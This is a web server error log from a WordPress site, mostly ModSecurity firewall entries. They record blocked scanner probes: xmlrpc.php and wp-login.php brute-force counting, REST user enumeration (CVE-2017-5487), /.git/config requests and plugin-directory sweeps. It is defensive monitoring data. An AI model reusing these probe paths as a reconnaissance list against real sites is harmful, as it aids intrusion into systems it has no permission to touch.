[Sat Dec 06 01:53:03.916975 2025] [:error] [pid 11070:tid 11092] [client 35.245.196.209:58456] [client 35.245.196.209] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aTMb_6YvFlJHrPBrjoD7eQAAABM"]
[Sat Dec 06 01:53:05.712781 2025] [:error] [pid 11070:tid 11096] [client 35.245.196.209:58456] [client 35.245.196.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.245.196.209, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTMcAaYvFlJHrPBrjoD7gQAAABc"]
[Sat Dec 06 01:53:07.816058 2025] [:error] [pid 21706:tid 21777] [client 35.245.196.209:61646] [client 35.245.196.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.245.196.209, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTMcA8gkvG4puA99YgGVCwAAAU4"]
[Sat Dec 06 01:53:09.909638 2025] [:error] [pid 11070:tid 11075] [client 35.245.196.209:54488] [client 35.245.196.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.245.196.209, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTMcBaYvFlJHrPBrjoD7jgAAAAI"]
[Sat Dec 06 01:53:12.119509 2025] [:error] [pid 21706:tid 21768] [client 35.245.196.209:60087] [client 35.245.196.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.245.196.209, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTMcCMgkvG4puA99YgGVEQAAAUU"]
[Sat Dec 06 01:53:14.236274 2025] [:error] [pid 21705:tid 21757] [client 35.245.196.209:61857] [client 35.245.196.209] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.245.196.209, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTMcCjnZoS9qagEFj99BNAAAANU"]
[Sat Dec 06 01:53:14.236442 2025] [:error] [pid 21705:tid 21757] [client 35.245.196.209:61857] [client 35.245.196.209] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.245.196.209, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTMcCjnZoS9qagEFj99BNAAAANU"]
[Sat Dec 06 03:08:22.418145 2025] [:error] [pid 25666:tid 25677] [client 20.235.48.203:25102] [client 20.235.48.203] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.235.48.203, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTMtpm3o6OQ_nNZM5F59uwAAAQk"]
[Sat Dec 06 05:53:47.851613 2025] [:error] [pid 35621:tid 35648] [client 178.62.238.177:41592] [client 178.62.238.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.238.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTNUa0QGb3oZH9SdKQUnEAAAAVg"]
[Sat Dec 06 05:53:50.040280 2025] [:error] [pid 35621:tid 35646] [client 178.62.238.177:41592] [client 178.62.238.177] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.62.238.177, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTNUbkQGb3oZH9SdKQUnEQAAAVY"], referer: https://gigfragments.org/wp-login.php
[Sat Dec 06 06:42:33.430132 2025] [:error] [pid 61217:tid 61277] [client 82.165.90.41:46950] [client 82.165.90.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.165.90.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTNf2VdSKQYfLI3fYo4YDwAAAIQ"]
[Sat Dec 06 06:42:35.182892 2025] [:error] [pid 61217:tid 61290] [client 82.165.90.41:46950] [client 82.165.90.41] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 82.165.90.41, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTNf21dSKQYfLI3fYo4YEwAAAJE"], referer: https://gigfragments.org/wp-login.php
[Sat Dec 06 07:30:39.287132 2025] [:error] [pid 35621:tid 35647] [client 108.143.65.196:64240] [client 108.143.65.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/userfuns.php"] [unique_id "aTNrH0QGb3oZH9SdKQVDrAAAAVc"], referer: www.google.com
[Sat Dec 06 08:05:58.023153 2025] [:error] [pid 35621:tid 35646] [client 167.172.79.172:31348] [client 167.172.79.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.79.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTNzZkQGb3oZH9SdKQVK-wAAAVY"]
[Sat Dec 06 08:06:01.435891 2025] [:error] [pid 35621:tid 35644] [client 167.172.79.172:31348] [client 167.172.79.172] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 167.172.79.172, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTNzaUQGb3oZH9SdKQVK_QAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Sat Dec 06 09:37:08.954973 2025] [:error] [pid 48399:tid 48420] [client 43.173.1.57:41538] [client 43.173.1.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTOIxOjNPOrIshd8EwdoBgAAAdM"]
[Sat Dec 06 10:12:59.478660 2025] [proxy_fcgi:error] [pid 61303:tid 61322] (70007)The timeout specified has expired: [client 51.81.107.180:35936] AH01075: Error dispatching request to : (polling)
[Sat Dec 06 10:34:29.322991 2025] [:error] [pid 61216:tid 61270] [client 182.44.2.148:34017] [client 182.44.2.148] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aTOWNTHlXXVdP5ewviWvvwAAAFg"]
[Sat Dec 06 11:55:37.700232 2025] [:error] [pid 1838:tid 1848] [client 172.245.14.131:42772] [client 172.245.14.131] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 172.245.14.131, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTOpOS5zgnu67Yo7vraOhgAAAoI"]
[Sat Dec 06 13:36:14.932676 2025] [:error] [pid 61216:tid 61250] [client 79.127.127.71:36698] [client 79.127.127.71] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.127.127.71, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTPAzjHlXXVdP5ewviXQBQAAAEQ"]
[Sat Dec 06 16:38:33.156640 2025] [:error] [pid 61215:tid 61238] [client 120.71.59.24:44017] [client 120.71.59.24] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTPrieOOZ8nTCBYuI-wsYAAAABM"]
[Sat Dec 06 18:30:43.255001 2025] [:error] [pid 61303:tid 61313] [client 43.130.71.237:36940] [client 43.130.71.237] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aTQF09wK_fe00OH7zy6F9gAAAMc"]
[Sat Dec 06 20:53:59.179566 2025] [:error] [pid 61216:tid 61264] [client 49.150.53.216:50933] [client 49.150.53.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.150.53.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTQnZzHlXXVdP5ewviUtUAAAAFI"]
[Sat Dec 06 21:07:23.419188 2025] [:error] [pid 35622:tid 35652] [client 49.150.53.216:59030] [client 49.150.53.216] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aTQqiyOSP_9DVLgFwI7JggAAAYE"]
[Sat Dec 06 21:09:01.493143 2025] [:error] [pid 52809:tid 52821] [client 49.150.53.216:64006] [client 49.150.53.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.150.53.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTQq7erRwgsmpIJQ2qaGkQAAAgo"]
[Sat Dec 06 21:10:37.676895 2025] [:error] [pid 61216:tid 61252] [client 49.150.53.216:65437] [client 49.150.53.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.150.53.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTQrTTHlXXVdP5ewviUwQgAAAEY"]
[Sat Dec 06 21:12:07.573732 2025] [:error] [pid 61303:tid 61322] [client 49.150.53.216:50295] [client 49.150.53.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.150.53.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTQrp9wK_fe00OH7zy6kvAAAAM8"]
[Sat Dec 06 21:13:42.427937 2025] [:error] [pid 35591:tid 35598] [client 49.150.53.216:50892] [client 49.150.53.216] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.150.53.216, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTQsBobmw-7bFvTxc9MjhQAAAQU"]
[Sun Dec 07 00:33:39.690247 2025] [:error] [pid 44908:tid 44916] [client 212.18.108.188:40088] [client 212.18.108.188] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.18.108.188, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aTRa48odqHTdtmkcdXC9zAAAAMY"]
[Sun Dec 07 03:19:05.571774 2025] [:error] [pid 29378:tid 29381] [client 68.183.211.0:58561] [client 68.183.211.0] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.211.0, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTSBqa0NYr_cN2P9iw7caQAAAUE"]
[Sun Dec 07 04:28:18.080468 2025] [autoindex:error] [pid 34108:tid 34124] [client 144.124.250.164:52933] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 04:28:20.683649 2025] [autoindex:error] [pid 34108:tid 34121] [client 144.124.250.164:52933] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2025/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 04:28:20.961515 2025] [autoindex:error] [pid 34108:tid 34133] [client 144.124.250.164:52933] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2024/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 04:28:21.244047 2025] [autoindex:error] [pid 34108:tid 34123] [client 144.124.250.164:52933] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 04:28:39.809994 2025] [:error] [pid 34108:tid 34116] [client 144.124.250.164:52933] [client 144.124.250.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/elementor/"] [unique_id "aTSR96LvdvAppF-gXosBjAAAAAM"]
[Sun Dec 07 04:28:40.934176 2025] [:error] [pid 34195:tid 34218] [client 144.124.250.164:52504] [client 144.124.250.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wpforms-lite/"] [unique_id "aTSR-BrSxOOdwv3vX3wuUwAAANQ"]
[Sun Dec 07 04:28:42.054978 2025] [:error] [pid 34195:tid 34216] [client 144.124.250.164:52485] [client 144.124.250.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/updraftplus/"] [unique_id "aTSR-hrSxOOdwv3vX3wuVAAAANI"]
[Sun Dec 07 04:28:43.159680 2025] [:error] [pid 34195:tid 34214] [client 144.124.250.164:51398] [client 144.124.250.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/wordfence/"] [unique_id "aTSR-xrSxOOdwv3vX3wuVgAAANA"]
[Sun Dec 07 04:28:44.272169 2025] [:error] [pid 34195:tid 34222] [client 144.124.250.164:50546] [client 144.124.250.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.well-known/"] [unique_id "aTSR_BrSxOOdwv3vX3wuVwAAANg"]
[Sun Dec 07 05:05:21.209397 2025] [:error] [pid 13234:tid 13252] [client 170.64.143.242:52884] [client 170.64.143.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTSake6_dquQqQ60IZ-G0wAAAYs"]
[Sun Dec 07 05:05:21.278353 2025] [:error] [pid 13234:tid 13255] [client 170.64.143.242:35052] [client 170.64.143.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aTSake6_dquQqQ60IZ-G1QAAAY4"]
[Sun Dec 07 05:08:39.917452 2025] [autoindex:error] [pid 34110:tid 34189] [client 45.146.55.37:60521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:08:40.367182 2025] [autoindex:error] [pid 34110:tid 34181] [client 45.146.55.37:60521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/js/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:08:40.794574 2025] [autoindex:error] [pid 34110:tid 34168] [client 45.146.55.37:60521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/assets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:08:41.245081 2025] [autoindex:error] [pid 34110:tid 34178] [client 45.146.55.37:60521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sitemaps/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:08:49.101433 2025] [autoindex:error] [pid 34110:tid 34182] [client 45.146.55.37:60521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/l10n/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:08:49.534370 2025] [autoindex:error] [pid 34110:tid 34176] [client 45.146.55.37:60521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-content/uploads/2023/11/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:08:49.979299 2025] [autoindex:error] [pid 34110:tid 34187] [client 45.146.55.37:60521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/sodium_compat/lib/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:08:50.421164 2025] [autoindex:error] [pid 34110:tid 34168] [client 45.146.55.37:60521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/blocks/file/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:08:50.859336 2025] [autoindex:error] [pid 34110:tid 34183] [client 45.146.55.37:60521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:08:51.316407 2025] [autoindex:error] [pid 34110:tid 34168] [client 45.146.55.37:60521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-bindings/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:08:52.215879 2025] [autoindex:error] [pid 34110:tid 34189] [client 45.146.55.37:60521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/widgets/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:09:00.848485 2025] [autoindex:error] [pid 34110:tid 34178] [client 45.146.55.37:60521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/css/colors/sunrise/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:09:01.281070 2025] [autoindex:error] [pid 34110:tid 34168] [client 45.146.55.37:60521] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/theme-compat/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Dec 07 05:51:06.749382 2025] [:error] [pid 7273:tid 7278] [client 136.144.43.228:44801] [client 136.144.43.228] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.43.228, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTSlSvpR7YTD7JcHjhG7HQAAAUM"]
[Sun Dec 07 05:51:13.455634 2025] [:error] [pid 7273:tid 7281] [client 136.144.43.220:47827] [client 136.144.43.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.43.220, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aTSlUfpR7YTD7JcHjhG7TQAAAUY"]
